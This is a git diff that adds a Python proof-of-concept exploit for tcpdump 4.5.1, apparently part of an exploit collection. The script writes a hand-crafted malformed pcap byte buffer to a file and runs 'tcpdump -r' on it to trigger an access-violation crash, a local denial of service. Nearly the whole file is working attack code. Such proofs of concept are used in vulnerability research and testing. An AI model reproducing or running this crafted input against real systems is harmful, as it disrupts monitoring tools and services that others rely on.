add 7.1.1

src/exploit/7.1.1_dos_tcpdump_crash/exp.py

@@ -0,0 +1,41 @@
+# Exploit Title: tcpdump 4.5.1 Access Violation Crash
+# Date: 31st May 2016
+# Exploit Author: David Silveiro
+# Vendor Homepage: http://www.tcpdump.org
+# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
+# Version: 4.5.1
+# Tested on: Ubuntu 14 LTS
+
+from subprocess import call
+from shlex import split
+from time import sleep
+
+def crash():
+    command = 'tcpdump -r crash'
+
+    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
+    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
+    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
+    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
+    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
+    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
+    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
+
+    with open('crash', 'w+b') as file:
+        file.write(buffer)
+
+    try:
+        call(split(command))
+        print("Exploit successful!             ")
+    except:
+        print("Error: Something has gone wrong!")
+
+def main():
+    print("Author:   David Silveiro                           ")
+    print("   tcpdump version 4.5.1 Access Violation Crash    ")
+
+    sleep(2)
+    crash() 
+
+if __name__ == "__main__":
+    main()